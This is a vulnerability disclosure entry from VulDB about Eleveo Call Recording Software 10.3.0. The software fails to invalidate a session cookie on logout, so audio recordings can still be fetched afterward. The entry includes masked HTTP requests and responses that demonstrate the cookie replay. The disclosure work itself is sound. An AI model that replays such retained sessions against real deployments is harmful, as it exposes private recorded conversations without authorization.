Submit #963576: Eleveo Call Recording Software 10.3.0 CWE-613

Eleveo Call Recording Software 10.3.0 does not invalidate the Cookie-based sessionid upon logout. The application uses Bearer token authentication for general API requests but relies on a separate sessionid cookie for audio recording playback. After a successful logout, the sessionid remains valid and can be reused to access audio recordings without authentication.

Evidence:

--- Logout Request ---
GET /auth/realms/default/protocol/openid-connect/logout?client_id=encourage-js-client&post_logout_redirect_uri=https%3A%
2F%2F[HOST]%2Fapp%2Fconversations%2Fconversations&id_token_hint=[MASKED TOKEN] HTTP/1.1
Host: [HOST]
Cookie: KEYCLOAK_LOCALE=en-US; AUTH_SESSION_ID=[MASKED]
Sec-Ch-Ua: "Chromium";v="149", "Not)A;Brand";v="24"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Linux"
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
Referer: https://[HOST]/app/conversations/conversations
Accept-Encoding: gzip, deflate, br
Priority: u=0, i
Connection: keep-alive

--- Logout Response ---
HTTP/1.1 302
Date: Fri, 28 Aug 2026 15:14:40 GMT
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive

--- Post-Logout Audio Playback Request ---
GET /interaction-player/mediaapi/interaction/8b47158d-1664-4478-8aa6-db65f855a5dd/audio
/[RecordID] HTTP/1.1
Host: [HOST]
Cookie: JSESSIONID=[MASKED]
Referer: https://[HOST]/interaction-player/?locale=en_US&timestamp=1787930042947
Range: bytes=0-
Priority: i
Connection: keep-alive

--- Post-Logout Audio Playback Response ---
HTTP/1.1 206
Date: Fri, 28 Aug 2026 15:14:47 GMT
Content-Type: audio/mpeg
Content-Length: 410409
Accept-Ranges: bytes
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
ID3

-deleted-

• User: ozataknurullah (UID 101077)
• Submission: 09/07/2026 17:43 (2 months ago)
• Moderation: 10/11/2026 11:57 (1 month later)
• Status: Accepted
• VulDB entry: 416586 [Eleveo Call Recording Software up to 10.3.0 logout session expiration]
• Points: 17